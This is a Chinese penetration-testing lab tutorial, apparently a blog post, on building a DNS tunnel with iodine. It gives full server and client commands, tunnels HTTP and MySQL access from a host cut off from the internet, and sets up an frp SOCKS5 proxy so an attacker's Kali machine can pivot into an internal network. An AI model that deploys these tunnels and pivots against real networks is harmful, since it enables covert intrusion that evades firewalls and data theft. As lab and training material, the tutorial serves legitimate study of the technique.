dns隧道
centos 192.168.112.188
win7 10.10.10.144
DNS隧道概述
DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(xxx.yyyy.zz),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。
DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成/传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。
DNS 带外的工作原理
将数据嵌入到 DNS 查询的子域名名称中,然后通过外部的 DNS 日志平台如dnslog捕获这些查询记录。所以一次携带数据最长的长度就是子域名最长的长度即63个字符

DNS隧道依据其实现方式大致可分为直连和中继两类。
- 直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。
- 中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。
实现DNS隧道的关键要点:
dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在Kali系统中直接集成。
iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能
iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡
本次我们使用iodine做实验
申请一个域名:matrika.cn,公网服务器IP:47.96.116.171,然后添加以下两条域名解析记录:

主机记录就是子域名的名称
第一条记录表示 ns 的子域名的权威 DNS 服务器是 www.matrika.cn。ns以及其下设子域名的解析都会发往www.matrika.cn
第二条记录表示 www 子域名的 IP 地址是 47.96.116.171。当用户访问 www 及其的子域名时,DNS 会解析该域名到 47.96.116.171,从而允许用户访问该 IP 地址上的服务(如网站)。
在公网服务器www.matrika.cn中允许53号端口

测试域名解析是否生效,在公网服务器www.matrika.cn运行tcpdump监听53号端口,捕获通过 eth0 接口发送到目标端口 53 的 UDP 流量,因为 DNS 服务通常使用 UDP 协议(端口 53)进行域名解析
tcpdump -n -i eth0 udp dst port 53

在任意主机上运行nslookup发起DNS解析请求
nslookup ns.matrika.cn

服务器上成功收到了解析请求

三、iodine DNS隧道搭建
1、安装iodine
在我们的公网服务器安装iodine,该工具服务端为iodine,执行以下命令进行安装:
yum install iodine
2、在公网服务器运行服务端
iodine -f -c -P woniu123 192.168.200.1 ns.matrika.cn -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址
-P:客户端和服务端之间用于验证身份的密码,即woniu123,可以随意指定
192.168.200.1为自定义局域网虚拟IP地址,不要与现有网段冲突
-D:指定调试级别,-DD指第二级,"D"的数量随级数增加

执行完该命令之后会新生成一个dns0虚拟网卡,ip地址就是刚才命令中输入的ip地址(192.168.200.1),我们新建一个终端,然后使用ifconfig去查看 ,果然多了一个dns0网卡

然后在内网目标机centos上安装iodine并使用以下命令,连接ns.matrika.cn
iodine -f -P woniu123 47.96.116.171 ns.matrika.cn
47.96.116.171是服务端地址
ns.matrika.cn是目标服务器的域名,用于 DNS 隧道的解析
DNS隧道建立成功,并且centos在dns0这张虚拟网卡中的ip地址为192.168.200.2

现在centos和公网服务器就在一个网段上了,用centos ping一下公网服务器192.168.200.1

再在服务器上ping一下centos
ping 192.168.200.2,是可以ping通的

也可以在服务器上直接ssh命令连接到centos

再在服务器上监听53端口
tcpdump -n -i eth0 udp dst port 53
可以看到子域名携带着数据

四、利用DNS隧道
1、访问HTTP协议
在公网服务器上直接访问:curl http://192.168.200.2/dashboard/phpinfo.php

数据出来也是一卡一卡的

2、访问MySQL(TCP协议)
mysql -uqiang -p123456 -h 192.168.200.2

3,用dns隧道建立socks5代理通道
把socks5代理通道包裹在dns隧道里,实现内网渗透,访问跳板机以外的主机
(1)在公网服务器配置frps并启动
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = 12345678



(2)在内网主机上配置frpc并启动
[common]
server_addr = 192.168.200.1
server_port = 7000
token = 12345678
[socks5_xm]
type = tcp
remote_port = 8088 //映射8088端口
plugin = socks5
use_encryption = true
use_compression = true



(3)在Kali攻击主机上配置代理为:socks5 47.96.116.171 8088

现在可以访问内网中的win7 上的web服务了,访问速度非常慢

当然命令行上ping不通win7,因为命令行没设代理

编辑命令行的代理

发现加了代理也ping不通

但是使用curl是可以的

为什么最开始没配置socks5代理时能ping通,加了socks5代理反而ping不通了,这时因为socks5代理只支持tcp,udp协议,而ping命令使用的是icmp协议,
更多推荐
所有评论(0)